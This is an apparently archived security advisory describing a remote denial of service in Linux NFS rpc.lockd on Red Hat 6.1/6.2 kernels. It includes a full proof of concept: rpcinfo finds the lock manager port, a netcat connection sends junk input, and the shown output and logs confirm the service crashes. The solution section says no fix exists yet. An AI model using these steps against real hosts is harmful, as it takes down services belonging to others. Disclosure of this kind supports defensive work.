COMMAND

    rpc.lockd

SYSTEMS AFFECTED

    Linux

PROBLEM

    Mike  Murray  found  following.   He  found  what  appears to be a
    remote DOS in the linux kernel code for NFS lockd.   Only requires
    a  restart  of  the  service,  but  the  port  stays  bound  (in a
    iclose_wait)  state  for  what  appears  to be an indefinite time.
    Mike  only  tested  this  in  RedHat  6.1 and 6.2 (that is, kernel
    2.2.12 and  2.2.14), but  there is  no reason  why it  will not be
    present  in  other  configurations  of  both  the same kernel (and
    likely earlier kernels).

    The proof  of concept  is really  simple: If  you have port access
    (i.e.  you are able to send packets to whatever port rpc.lockd  is
    running on) to a Redhat 6.2 machine running rpc.lockd (enabled  by
    the  default  install),  you  can  forcibly  stop  rpc.lockd  from
    responding on that machine.

    The lockd crashes whenever any  malformed request is issued to  it
    over its tcp channel; thus, if you simply connect to the tcp  port
    that lockd  is listening  on, and  hit 'return',  and log out, you
    will have crashed lockd.

    As  an  example,  from  a  root  prompt issue the following (where
    "target" is a machine running a fresh install of RH 6.2 up2date):

        [root@hiro /]# rpcinfo -p target
           program vers proto   port
            100000    2   tcp    111  portmapper
            100000    2   udp    111  portmapper
            100021    1   udp   1024  nlockmgr
            100021    3   udp   1024  nlockmgr
            100021    1   tcp   1024  nlockmgr
            100021    3   tcp   1024  nlockmgr
            100024    1   udp    831  status
            100024    1   tcp    833  status
        [root@hiro /]# nc -p 1000 target 1024
        alksdjfalskdjfsdafs

    Here, issue a Ctrl-C to get out of netcat, and get:

        punt!
        [root@hiro /]#
        [root@hiro /]# rpcinfo -p target
           program vers proto   port
            100000    2   tcp    111  portmapper
            100000    2   udp    111  portmapper
            100024    1   udp    831  status
            100024    1   tcp    833  status
        [root@hiro /]#

    In  the  victim's  /var/log/messages,  the  following  message was
    written:

        June  7 15:07:48 target kernel: RPC: bad TCP reclen 616c6b73<4>lockd:
        terminating on error 5
        June  7 15:07:48 target kernel: svc: server socket destroy delayed (sk_inuse: 1)

    As you can see,  the service is no  longer present after the  port
    has been connected to.

SOLUTION

    Nothing yet.